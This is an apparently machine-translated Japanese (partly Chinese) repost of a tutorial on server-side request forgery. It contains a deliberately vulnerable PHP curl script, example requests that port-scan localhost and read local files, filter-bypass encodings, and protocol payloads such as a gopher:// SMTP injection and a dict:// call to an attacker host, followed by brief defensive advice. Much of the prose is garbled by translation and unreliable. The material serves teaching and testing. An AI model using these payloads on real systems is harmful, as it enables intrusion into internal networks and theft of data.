道路ベースの挿入 - サーバリクエストフォージェリSSRF

説明:SSRF サーバ側のリクエストフォージェリ、およびいくつかの大規模なサイトでは、Webアプリケーション上の他のサーバからデータを取得する機能を提供します。ユーザーが指定したURLのWebアプリケーションでは、ファイルをダウンロードしたファイルの内容を読み、画像を取得します。通常、Webサービスを制御し、ネットワーク脆弱なアプリケーション内のネットワーク攻撃を検出するために使用

踏み台としてそのマシン、ssrfsocksのエージェント

ハザードの脆弱性

  1. 内部および外部のネットワークポートスキャンとサービス

  2. ローカルホストの機密データを読みます
  3. 内部と外部ネットワークのホストアプリケーションの脆弱性を利用

  4. 内部と外部ネットワークのWebサイトの脆弱性を利用

脆弱性のプロデュース

サーバは他のサーバとフィルタリングに対応していないアプリケーションや制約との協定からデータを取得する機能を提供するので。

ローカルテスト

Webサーバーアプリケーションが存在することを前提とSSRF

<?php
if(isset($_GET['url']))
{
    $link=$_GET['url'];
    //$filename='./'.rand().'.txt';
    $curlobj=curl_init($link);
    curl_setopt($curlobj,CURLOPT_FILE,$link);
    curl_setopt($curlobj,CURLOPT_HEADER,0);
    $result=curl_exec($curlobj);
    curl_exec($curlobj);
    curl_close($curlobj);
    //fclose($link);
    //file_put_contents($filename, $result);
    echo $result;
}
?>

攻撃はエクスプロイト

  1. バナー情報は、サーバがネットワーク内に存在する外部ネットワーク、ローカルポートスキャンもいくつかのサービスを得ることができます

    アクセスすることにより、変更されたパラメータ 192.168.203.128/test/ssrf.php?url=127.0.0.1:3306

    1561990729267

    あなたは、情報サーバを取得します

  2. ネットワークまたはローカルアプリケーションを含む実行して攻撃、(オーバーフロー)

  3. デフォルトのファイルにアクセスすることにより、フィンガープリントイントラネットのWebアプリケーション、

  4. 主にGETパラメータが攻撃を達成することができます使用してネットワークの内部と外部のウェブアプリケーション攻撃、

  5. ファイルプロトコルを使用してローカルファイルを読む、など

    アクセス 192.168.203.128/test/ssrf.php?url=file:///c:/config.ini

    あなたは、ファイルを直接読み込むことができます

    1561991721454

脆弱性の発見と発掘

  1. URLアドレスを介して共有Webコンテンツ

  2. トランスコーディングサービス

  3. 翻訳者

  4. URLまたはロード画像でダウンロード、画像の読み込みとダウンロード

  5. 写真記事コレクション機能

  6. URLや他のコールを達成するために文書化されていないAPI関数

  7. URLのキーワードから見ると

    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURl
    imageURL
    domain
    ...

バイパスのアイデア

1、ローカルの攻撃

http://127.0.0.1:80
http://localhost:22

2、利用[::]

利用[::]绕过localhost
http://[::]:80/  >>>  http://127.0.0.1

80 /を、私はテストが成功しませんでした:// 0000 :: 1:HTTPを使用しても参照してください。

3、利用@

http://[email protected]

4、短いアドレスを持ちます

http://dwz.cn/11SMa  >>>  http://127.0.0.1

5、特殊なドメイン名の使用

原理はDNS解決の使用であり、

http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/

図6に示すように、DNS解決の使用

レコードは、ドメイン名、ポイント127.0.0.1に設けられ、

図7に示すように、パラメータの型を使用して

也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

8、利用囲み文字

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

9、ピリオドを使用

127。0。0。1  >>>  127.0.0.1

進変換を使用して10、

可以是十六进制,八进制等。
115.239.210.26  >>>  16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1  >>>  http://0177.0.0.1/
http://127.0.0.1  >>>  http://2130706433/
http://192.168.0.1  >>>  http://3232235521/
http://192.168.1.1  >>>  http://3232235777/

11、特別なアドレスを使用します

http://0/

合意による12

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

13、の組み合わせ

それは自由な組み合わせのすべての種類をバイパスすることができます

脆弱性保護

  1. サーバーは、OpenSSLインタラクティブ使用を開くことができません。
  2. サーバーは、認証の相互作用を必要とし
  3. 本契約は、HTTP、HTTPSを制限します
  4. ジャンプ禁止30X回
  5. 制限のURLのホワイトリストやIPネットワーク内で設定してください

おすすめ

転載: www.cnblogs.com/r0ckysec/p/11531757.html